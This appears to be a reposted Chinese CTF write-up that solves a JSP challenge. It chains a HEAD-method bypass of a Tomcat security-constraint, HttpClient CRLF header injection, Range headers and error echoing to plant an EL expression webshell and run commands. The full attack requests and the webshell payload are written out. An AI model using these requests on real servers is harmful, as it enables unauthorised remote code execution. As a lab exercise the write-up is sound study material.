文章总结: 该文档分析一道JSP安全挑战题的解题过程,核心是通过HEAD方法绕过security-constraint权限防护,利用HTTPClient的CRLF漏洞注入恶意头字段,结合Range头分段读取和Tomcat报错机制回显EL表达式webshell,最终实现RCE。关键步骤包括:通过token字段插入Unicode编码换行符污染请求头、利用Range控制响应内容、构造最短EL表达式绕过符号限制,并演示了完整的文件写入与命令执行链。 综合评分: 85 文章分类: WEB安全,漏洞分析,渗透测试,CTF,安全工具
jsp挑战
原创
珂字辈 珂字辈
珂技知识分享
2025年12月1日 13:59 湖北
在小说阅读器读本章
去阅读
一、 从一道题说起
某人第二次投其所好,给我推荐了一道题。
https://mp.weixin.qq.com/s/grtTLQm_5ucm_XIUAZ9V0A
核心代码很简单
就是用httpClient请求一个URL,取URL最后一个【/】之后的字符串做文件名,内容为URL内容,保存在/img/目录中。此外还可以增加一个token的header。
当然,靶场不出网,如果出网就非常简单了,直接访问一个http://x.com/shell.jsp即可。
除外之外还有一个权限防护。
聪明的你是不是已经有思路了呢?
二、 绕过security-constraint
第一件事当然是绕过权限保护,访问/admin/getimg.jsp,这一步应该卡不到人,因为提示已经非常明显了,那就是不让用GET和POST,用别的就行了。
PS:虽然如此,这个防护其实有其他的用处。
除了GET和POST,还有哪些http方法呢?
显然HEAD就是正确答案。
HEAD有个坏处就是不返回body,但有个小技巧可以看到body。那就是去掉HTTP/1.1
三、 保存jsp
接下来就是如何getshell的问题,显然我们可以在/img/下创建任意文件名,但是文件内容很难控制。比如这样。
似乎我们只能访问不存在的jsp,但由于代码中文件名是取的URL最后一个【/】后面的内容,所以可以变形一下,这样jsp的内容就变了。
由于不能出网,接下来就是问题的难点,如何在不出网的情况下,获得一个jsp webshell的内容。
四、 CRLF
这显然是一个SSRF漏洞,httpClient支持其他协议吗?如果支持file,是不是可以用file协议读缓存的/proc/fd/13的内容?
答案是不支持,跟代码可以发现只有http/https。
那么这个token就有点显眼了,在CTF中,这种可控header通常都会跟CRLF挂钩,典型的如php的SoapClient,由于header存在CRLF,可以拿来攻击redis。
那么httpClient存在CRLF漏洞吗?还真的有哦。
https://issues.apache.org/jira/browse/HTTPCLIENT-1974?page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel&focusedCommentId=16797961
那么在burp上,我们就可以用\u560d\u560a对应的%E5%98%8D%E5%98%8A来充当换行符。
HEAD /admin/getimg.jsp?url=http://127.0.0.1:5667/?id=/test.jsp&token=123%E5%98%8D%E5%98%8AX:testHost: 127.0.0.1:8088
这又有什么用呢?靶场上显然没有redis,那么tomcat曾经的漏洞ajp文件包含(CVE-2020-1938)有吗?还真有。
不过可惜的是,ajp协议是有Magic number的,前后无法夹杂脏数据。事实上大部分协议都是如此,像redis仅凭一个CRLF就能打的是极少数。
五、 Range
既然无法SSRF打本地,那么token也可以跟我们增加一些header,那么有什么header是可能有用的呢?
在CVE-2025-24813的分析中,我们曾经接触过Content-Range这个header,是用来断点续传的。在org.apache.catalina.servlets.DefaultServlet类中,我们还可以看到有个跟它类似的Range头。
这个可以在下载服务端的静态资源时,对静态资源分片,也就是要求tomcat仅回显我们想要的一段内容。看起来比较符合今天主题。
如图,这就回显了index.html的0-5个字节。同时它还支持用分号来显示多个部分,不过可惜的是用BOUNDARY分割,没法随心所欲的拼接。
利用Range可以得到一个只有【Java】的jsp文件,还是挺神奇的。
HEAD /admin/getimg.jsp?url=http://127.0.0.1:8088/?id=/test.jsp&token=123%E5%98%8D%E5%98%8ARange:+bytes=1-4Host: 127.0.0.1:8088
六、 请求走私
通过CRLF+Range的研究,我们发现这题的本质其实就是通过一个GET请求让tomcat回显一个jsp webshell的内容出来。
其实之前尝试ftp协议时的报错可以发现,getimg.jsp本身就可以利用报错回显一个webshell。
HEAD /admin/getimg.jsp?url=%3c%25Runtime.getRuntime().exec(request.getParameter(%22i%22));%25%3e://127.0.0.1:8088&token=123Host: 127.0.0.1:8088
但这是一个畸形的HEAD请求,显然无法由httpClient发起,httpClient已经限制了只能GET请求。假如我们能用GET bypass /admin/getimg.jsp,这题的解就大概是这样。
GET /;/admin/getimg.jsp?url=http://127.0.0.1:8088/;/admin/getimg.jsp?url=%253c%2525Runtime.getRuntime().exec(request.getParameter(%2522i%2522));%2525%253e://127.0.0.1:8088/%26token=/cmd.jsp&token=123 HTTP/1.1Host: 127.0.0.1:8088
可惜并不行,仔细想想还有什么办法能既GET请求,又可以用HEAD来bypass。
我发现刚好可以用token的CRLF来请求走私。
GET /?id=/test.jsp HTTP/1.1Token: 123Host: 127.0.0.1:8088
HEAD /admin/getimg.jsp?url=%3c%25Runtime.getRuntime().exec(request.getParameter(%22i%22));%25%3e://127.0.0.1:8088&token=123Host: 127.0.0.1:8088
当然,这种只是tomcat支持一个tcp包中解析两个http请求,并不是真正的请求走私,但看起来非常像正确答案。
可惜的是,httpClient只会保留Content-Length: 41长度的内容,并不会将第二个也就是HEAD请求的返回包保存下来。
请求走私必须前置代理服务器,利用代理服务器和后端服务器的解析差做文章。如果这题真的可以利用CRLF造成请求走私,在httpClient执行GET请求的时候,将其污染成HEAD请求,也可能成为一个解。
七、 报错
尝试了这么多,总体思路是没错的,就是想办法利用一个GET请求来让tomcat回显jsp webshell的内容。到底如何做到呢?
tomcat其实有一种很常见的报错,那就是它的GET请求中不支持很多特殊符号。
在header中其实也是一样的,甚至能回显出错的header是什么。但必须key存在特殊符号,所以CRLF是前置条件。
但尖括号被转义了啊,这怎么可能回显webshell呢?
虽然jsp/jspx肯定要尖括号,但el表达式不要啊,来个最短el表达式webshell(仅限高版本)。
${Runtime.getRuntime().exec(param.cmd)}
这最终答案不就出来了吗?
HEAD /admin/getimg.jsp?url=http://127.0.0.1:8088/?id=/cmd.jsp&token=1%E5%98%8D%E5%98%8A$%7bRuntime.getRuntime().exec(param.cmd)%7d:QQQHost: 127.0.0.1:8088
GET /img/cmd.jsp?cmd=calc HTTP/1.1Host: 127.0.0.1:8088
甚至我们还有一个Range来帮我们写出纯净版的el表达式 webshell。
HEAD /admin/getimg.jsp?url=http://127.0.0.1:8088/?id=/cmd.txt&token=1%E5%98%8D%E5%98%8A$%7bRuntime.getRuntime().exec(param.cmd)%7d:QQQHost: 127.0.0.1:8088
HEAD /admin/getimg.jsp?url=http://127.0.0.1:8088/img/cmd.txt?id=/cmd2.jsp&token=1%E5%98%8D%E5%98%8ARange:+bytes=1293-1331Host: 127.0.0.1:8088
GET /img/cmd2.jsp?cmd=calc HTTP/1.1Host: 127.0.0.1:8088
最后也是做了个回显交差。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈 珂字辈《jsp挑战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论